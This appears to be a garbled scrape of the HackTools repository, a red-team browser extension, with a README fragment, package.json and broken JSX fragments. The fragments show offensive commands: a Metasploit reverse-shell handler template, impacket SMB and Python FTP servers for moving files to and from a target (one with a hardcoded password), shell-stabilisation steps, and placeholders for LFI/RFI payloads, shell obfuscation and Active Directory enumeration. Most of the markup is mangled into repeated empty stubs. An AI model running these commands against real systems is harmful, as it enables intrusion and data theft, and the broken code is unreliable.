![\"logo_hack_tools\"](\"https://i.imgur.com/yoUssC7.png\")
\n Welcome to HackTools !
\n\n ![\"Version\"](\"https://img.shields.io/badge/version-1.0-blue.svg?cacheSeconds=2592000&style=for-the-badge\"){kind=icon}
\n \n ![\"mozilla\"](\"https://img.shields.io/badge/Firefox-FF7139?style=for-the-badge&logo=Firefox-Browser&logoColor=white\"){kind=icon}
![\"chrome-extension\"](\"https://img.shields.io/badge/Google%20Chrome-4285F4?style=for-the-badge&logo=GoogleChrome&logoColor=white\"){kind=icon}
![\"safari-extension\"](\"https://img.shields.io/badge/Safari-000000?style=for-the-badge&logo=Safari&logoColor=white\"){kind=icon}
![\"Downloads\"](\"https://img.shields.io/github/downloads/LasCC/Hack-Tools/total.svg?style=for-the-badge\")
\n \n ![\"RawSecInventory\"](\"https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_for-the-badge.svg\"){kind=icon}
\n \n
\n Introduction\n — \n Preview\n — \n Install\n — \n Build\n — \n Support\n
\n\n \n \n \n \n \n \n \n
\n Introduction\n — \n Preview\n — \n Install\n — \n Build\n — \n Support\n
\n![\"preview_2\"](\"https://i.imgur.com/7Q09ZwW.png\")
\n![\"preview_3\"](\"https://i.imgur.com/JPH0dIW.png\")
\n![\"preview_4\"](\"https://i.imgur.com/UFZX7xH.png\")
\n![\"preview_5\"](\"https://i.imgur.com/TtfhQf9.png\")
\n![\"preview_6\"](\"https://i.imgur.com/l8mppjS.png\")
\n![\"chromium_icon\"](\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/chromium.svg\" "Chromium")
\n Chromium based browser\n![\"firefox_icon\"](\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/firefox.svg\" "Firefox")
\n Mozilla Firefox\n![\"safari_icon\"](\"https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/safari.svg\" "Safari")
\n Instructions to build for Safari\n![\"extension_tutorial\"](\"https://i.imgur.com/ZHwUTfk.png\")
\n\nThen click on the **load unpacked** button in the top left corner\n\n![\"extension_tutorial\"](\"https://i.imgur.com/TLDjLyO.png\")
\n\nOnce you clicked on the button you just need to select the **dist folder** and that's it ! 🎉\n\n![\"extension_tutorial\"](\"https://i.imgur.com/fH894v8.png\")
\n\n## Authors\n\n👤 **Ludovic COULON** & **Riadh BOUCHAHOUA**\n\n## Show your support\n\nYou can give a ⭐️ if this project helped you !\n\nNote that this project is maintained, developed and made available for **free**, you can offer us a coffee, it will be very **encouraging and greatly appreciated** 😊\n\n![\"Paypal\"](\"https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white\"){kind=icon}
\n"
},
{
"path": "package.json",
"content": "{\n \"name\": \"hack-tools\",\n \"version\": \"1.0.0\",\n \"description\": \"The all in one Red team browser extension for web pentesters\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"start\": \"webpack --watch\",\n \"build\": \"webpack --mode production && rm -f ./dist/*.map\",\n \"watch\": \"webpack --watch\",\n \"zip_chrome\": \"rm -f './dist/*.map' && zip -r bundle_chrome.zip dist/\",\n \"zip_moz\": \" rm -f './dist/*.map' && sed -i 's/\\\"manifest_version\\\": 3/\\\"manifest_version\\\": 2/g' ./dist/manifest.json && sed -i 's/\\\"action\\\":/\\\"browser_action\\\":/g' ./dist/manifest.json & zip -r bundle_moz.zip dist/*\",\n \"zip_all\": \"yarn zip_chrome && yarn zip_moz\",\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n },\n \"keywords\": [],\n \"author\": \"Ludovic COULON & Riadh BOUCHAHOUA\",\n \"license\": \"MIT\",\n \"devDependencies\": {\n \"@babel/cli\": \"^7.21.0\",\n \"@babel/core\": \"^7.21.0\",\n \"@babel/helper-call-delegate\": \"^7.12.13\",\n \"@babel/plugin-proposal-class-properties\": \"^7.18.6\",\n \"@babel/preset-env\": \"^7.20.2\",\n \"@babel/preset-react\": \"^7.18.6\",\n \"@babel/preset-typescript\": \"^7.21.0\",\n \"@pmmmwh/react-refresh-webpack-plugin\": \"^0.5.10\",\n \"@types/crypto-js\": \"^4.1.1\",\n \"@types/pretty\": \"^2.0.1\",\n \"@types/react-syntax-highlighter\": \"^15.5.6\",\n \"@types/use-persisted-state\": \"^0.3.1\",\n \"babel-loader\": \"^9.1.2\",\n \"clean-webpack-plugin\": \"^4.0.0\",\n \"copy-webpack-plugin\": \"^11.0.0\",\n \"css-loader\": \"^6.7.3\",\n \"file-loader\": \"^6.2.0\",\n \"html-webpack-plugin\": \"^5.5.0\",\n \"react-hot-loader\": \"^4.13.1\",\n \"react-refresh\": \"^0.14.0\",\n \"style-loader\": \"^3.3.1\",\n \"typescript\": \"^4.9.5\",\n \"webpack\": \"^5.76.1\",\n \"webpack-cli\": \"^5.0.1\",\n \"webpack-dev-server\": \"^4.11.1\"\n },\n \"browserslist\": [\n \">0.2%\",\n \"not dead\",\n \"not op_mini all\"\n ],\n \"dependencies\": {\n \"@ant-design/compatible\": \"^5.1.1\",\n \"@ant-design/cssinjs\": \"^1.6.1\",\n \"@ant-design/icons\": \"4.8.0\",\n \"@ant-design/pro-card\": \"^2.3.0\",\n \"@ant-design/pro-layout\": \"^7.10.0\",\n \"@hot-loader/react-dom\": \"^17.0.2\",\n \"@types/chrome\": \"^0.0.206\",\n \"@types/jest\": \"^29.4.0\",\n \"@types/node\": \"^18.15.0\",\n \"@types/react\": \"^18.0.28\",\n \"@types/react-dom\": \"^18.0.11\",\n \"@uiw/react-md-editor\": \"^3.20.5\",\n \"antd\": \"5.1.0\",\n \"antd-mask-input\": \"2.0.7\",\n \"axios\": \"^1.3.4\",\n \"crypto-js\": \"^4.1.1\",\n \"darkreader\": \"^4.9.58\",\n \"escape-quotes\": \"^1.0.2\",\n \"less\": \"^4.1.3\",\n \"less-loader\": \"^11.1.0\",\n \"mermaid\": \"^9.4.3\",\n \"pretty\": \"^2.0.0\",\n \"rc-queue-anim\": \"^2.0.0\",\n \"react\": \"^18.2.0\",\n \"react-chrome-extension-router\": \"^1.4.0\",\n \"react-clipboard.js\": \"2.0.16\",\n \"react-color\": \"^2.19.3\",\n \"react-dom\": \"^18.2.0\",\n \"react-highlight-words\": \"^0.18.0\",\n \"react-query\": \"^3.39.3\",\n \"react-refresh-typescript\": \"^2.0.8\",\n \"react-syntax-highlighter\": \"^15.5.0\",\n \"sm3\": \"^1.0.3\",\n \"ts-loader\": \"^9.4.2\",\n \"use-persisted-state\": \"^0.3.3\"\n }\n}"
},
{
"path": "src/App.tsx",
"content": "import React from 'react';\r\nimport ReactDOM from 'react-dom';\r\nimport { Router } from 'react-chrome-extension-router';\r\nimport { FloatButton } from 'antd';\r\nimport { QueryClientProvider, QueryClient } from 'react-query';\r\nimport LayoutApp from './components/LayoutApp';\r\nimport ReverseShell from './components/linux/ReverseShell';\r\nimport './assets/css/style.css';\r\n\r\nconst queryClient = new QueryClient();\r\n\r\nconst App = () => {\r\n return (\r\n \nCryptographic Hash Algorithm : {hashname}
\n\n\n {fileDownload}\n \n
\n\n\n {fileDownloadAsync}\n \n
\n\n\n {fileLessIEX}\n \n
\n\n\n {fileLessIEXPipe}\n \n
\n\n\n {InvokeWebRequest}\n \n
\n\n\n {iwr}\n \n
\n\n\n sudo impacket-smbserver share -smb2support /tmp/smb_share\n \n
\n\n\n {copyFromSmb}\n \n
\n\n\n sudo impacket-smbserver share -smb2support /tmp/smbshare -user johnDoe -password Sup3rP@ssw0rd!\n \n
\n\n\n {mountShareWithPasswords}\n \n
\n\n\n sudo pip3 install pyftpdlib\n \n
\n\n\n sudo python3 -m pyftpdlib --port 21\n \n
\n\n\n {DownloadFromFTP}\n \n
\n\n\n {scriptFTP}\n \n
\n\n\n sudo python3 -m pyftpdlib --port 21 --write\n \n
\n\n\n {powershellFTPUpload}\n \n
\n\n\n {scriptUploadFTP}\n \n
No response} */}\n
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n\n\n {generateCommand( values )}\n \n
\n\n{launchCommand} \n
\n\n\n {`use exploit/multi/handler\nset PAYLOAD ${ values.Payload }\nset LHOST ${ values.LHOST }\nset LPORT ${ values.LPORT }\nrun`}\n \n
\n{k.title}
\n{lastpatchlist}
\n{lastpatchlist_wmic}
\n{envVar}
\n{envVar_cmd}
\n{powershell_http_dl}
\n{cmd_cert_http_dl}
\n{k.title}
\n{power_view_repo}
\n{domain_name}
\n{forest_domain_list}
\n{domain_SID}
\n{domain_Policy}
\n{domain_OUs}
\n{domain_trust}
\n{gpo_enum}
\n{passwd_lastset}
\n{user_desc_harvest}
\n{domain_computers}
\n{domain_pingable_computers}
\n{domain_win7U_computers}
\n{domain_admin_members}
\n{domain_admins_groups}
\n{local_admins}
\n{user_group_membership}
\n{ACL_user_enum}
\n{ACL_gpoedit_rights}
\n{ACL_passwd_edit_rights}
\n{local_recon_ldifde}
\n{local_recon_csvde}
\r\n\r\n\r\n {record.command}\r\n \r\n
\n\n Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit\n prettier, but we still won’t be able to use tab autocomplete or the arrow keys.\n\n python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\n \n
\n\n This will give us access to term commands such as clear.\n\n export TERM=xterm\n \n
\n\n Back in our own terminal we use\n\n Ctrl + Z\n \n
\n\n This does two things: first, it turns off our own terminal echo which gives us access to tab\n autocompletes, the arrow keys, and Ctrl + C to kill processes\n\n stty raw -echo; fg\n \n
\n\n\n stty rows 38 columns 116\n \n
}\n actions={[\n 
}\n actions={[\n 
}\n actions={[\n 
}\n actions={[\n \n{directoryTraversal}
\n{phpWrapperLfi}
\n{phpWrapperFilter}
\n{phpRfi}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
{oneLiner}
{''}
{''}
{\"\"}
{shell_obfuscate}
{shell_obfuscate_function}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}
\n{k.title}